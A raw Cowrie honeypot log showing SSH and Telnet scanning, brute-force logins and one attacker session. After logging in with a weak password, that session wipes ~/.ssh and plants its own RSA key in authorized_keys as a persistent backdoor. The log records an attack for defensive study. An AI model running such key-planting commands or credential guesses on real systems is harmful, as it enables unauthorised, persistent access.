{"eventid":"cowrie.session.closed","duration":30.937769651412964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:16.038884Z","src_ip":"69.175.86.26","session":"1304aac61f4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"158.69.128.56","src_port":43202,"dst_ip":"10.17.0.5","dst_port":23,"session":"a210720f8996","protocol":"telnet","message":"New connection: 158.69.128.56:43202 (10.17.0.5:23) [session: a210720f8996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:16.132947Z"}
{"eventid":"cowrie.session.closed","duration":31.217997789382935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:16.184650Z","src_ip":"144.79.133.145","session":"6f89c5e96819","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":50568,"dst_ip":"159.203.135.109","dst_port":22,"session":"d80429ad3d57","protocol":"ssh","message":"New connection: 43.160.206.186:50568 (159.203.135.109:22) [session: d80429ad3d57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:16.823473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:16.828951Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:17.067452Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":44190,"dst_ip":"10.17.0.5","dst_port":23,"session":"12a0f6a30627","protocol":"telnet","message":"New connection: 216.55.143.160:44190 (10.17.0.5:23) [session: 12a0f6a30627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:17.174490Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.7.92","src_port":48588,"dst_ip":"10.17.0.5","dst_port":23,"session":"1adedafedee9","protocol":"telnet","message":"New connection: 20.244.7.92:48588 (10.17.0.5:23) [session: 1adedafedee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:17.779315Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin2025","message":"login attempt [admin/admin2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:18.052713Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.798011779785156,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:18.069942Z","src_ip":"146.71.83.154","session":"ab9d3f44b494","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996053457260132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:18.117649Z","src_ip":"41.76.108.14","session":"0df65cfaa037","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.846017360687256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:18.159188Z","src_ip":"216.55.143.160","session":"0baa927af06a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":50858,"dst_ip":"10.17.0.5","dst_port":23,"session":"7beddb828043","protocol":"telnet","message":"New connection: 146.71.83.154:50858 (10.17.0.5:23) [session: 7beddb828043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:18.223181Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:18.587988Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:18.592965Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:18.597241Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:18.839905Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":37920,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce392617fd2d","protocol":"telnet","message":"New connection: 66.223.49.88:37920 (10.17.0.5:23) [session: ce392617fd2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.190809Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":44644,"dst_ip":"10.17.0.5","dst_port":23,"session":"d678c0dd33e0","protocol":"telnet","message":"New connection: 216.55.143.160:44644 (10.17.0.5:23) [session: d678c0dd33e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.231543Z"}
{"eventid":"cowrie.session.closed","duration":31.02826452255249,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.273086Z","src_ip":"146.71.83.154","session":"00588ed4fa13","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.383029Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.387375Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.37762951850891,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.400927Z","src_ip":"64.112.192.18","session":"fecf1626097e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.351574420928955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.408774Z","src_ip":"51.222.46.37","session":"fe6ab90b1d79","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.633904Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.638595Z","src_ip":"43.160.206.186","session":"d80429ad3d57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":50574,"dst_ip":"159.203.135.109","dst_port":22,"session":"9251ac74f7da","protocol":"ssh","message":"New connection: 43.160.206.186:50574 (159.203.135.109:22) [session: 9251ac74f7da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.883784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:19.889820Z","src_ip":"43.160.206.186","session":"9251ac74f7da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.95200490951538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:20.047452Z","src_ip":"209.145.49.9","session":"3b03a8be8bfb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:20.136045Z","src_ip":"43.160.206.186","session":"9251ac74f7da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89763641357422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:20.395947Z","src_ip":"20.244.7.92","session":"034f326813f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":50862,"dst_ip":"10.17.0.5","dst_port":23,"session":"618957ce640e","protocol":"telnet","message":"New connection: 146.71.83.154:50862 (10.17.0.5:23) [session: 618957ce640e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:20.433500Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":61381,"dst_ip":"10.17.0.5","dst_port":23,"session":"edb6506f06eb","protocol":"telnet","message":"New connection: 199.250.223.224:61381 (10.17.0.5:23) [session: edb6506f06eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:20.487790Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.252.82.70","src_port":42608,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b6b49e1eeda","protocol":"telnet","message":"New connection: 162.252.82.70:42608 (10.17.0.5:23) [session: 7b6b49e1eeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:20.609891Z"}
{"eventid":"cowrie.session.closed","duration":30.766139030456543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:21.038207Z","src_ip":"199.250.223.224","session":"943c24960681","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849925994873047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:21.131411Z","src_ip":"216.55.143.160","session":"5809db6a3f76","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:21.149945Z","src_ip":"43.160.206.186","session":"9251ac74f7da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33960,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6b011e510be","protocol":"ssh","message":"New connection: 159.203.92.129:33960 (159.203.135.109:22) [session: f6b011e510be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:21.188892Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":45034,"dst_ip":"10.17.0.5","dst_port":23,"session":"047f64843807","protocol":"telnet","message":"New connection: 216.55.143.160:45034 (10.17.0.5:23) [session: 047f64843807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:21.244133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:21.269392Z","src_ip":"159.203.92.129","session":"f6b011e510be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:21.275478Z","src_ip":"159.203.92.129","session":"f6b011e510be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abi","password":"123456","message":"login attempt [abi/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:21.627428Z","src_ip":"159.203.92.129","session":"f6b011e510be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":61663,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b70d90b3364","protocol":"telnet","message":"New connection: 199.250.223.224:61663 (10.17.0.5:23) [session: 4b70d90b3364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:22.037177Z"}
{"eventid":"cowrie.session.closed","duration":30.579963445663452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:22.110510Z","src_ip":"198.38.81.53","session":"832cf7d1a40e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:22.398816Z","src_ip":"43.160.206.186","session":"9251ac74f7da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":50578,"dst_ip":"159.203.135.109","dst_port":22,"session":"535248c629d5","protocol":"ssh","message":"New connection: 43.160.206.186:50578 (159.203.135.109:22) [session: 535248c629d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:22.624813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:22.629807Z","src_ip":"43.160.206.186","session":"535248c629d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:22.730567Z","src_ip":"159.203.92.129","session":"f6b011e510be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:22.867293Z","src_ip":"43.160.206.186","session":"535248c629d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.01751136779785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:23.109146Z","src_ip":"173.244.210.29","session":"85907f13c67d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:23.848914Z","src_ip":"43.160.206.186","session":"535248c629d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.019158124923706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:24.119245Z","src_ip":"51.222.46.37","session":"df22d3172c6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.315184831619263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:24.128866Z","src_ip":"114.142.160.98","session":"d191774583e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.501493453979492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:24.133705Z","src_ip":"41.76.108.14","session":"e5185fd31ecb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95958948135376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:10:25.039090Z","src_ip":"158.69.128.56","session":"e28efccb1021","protocol":"telnet"}
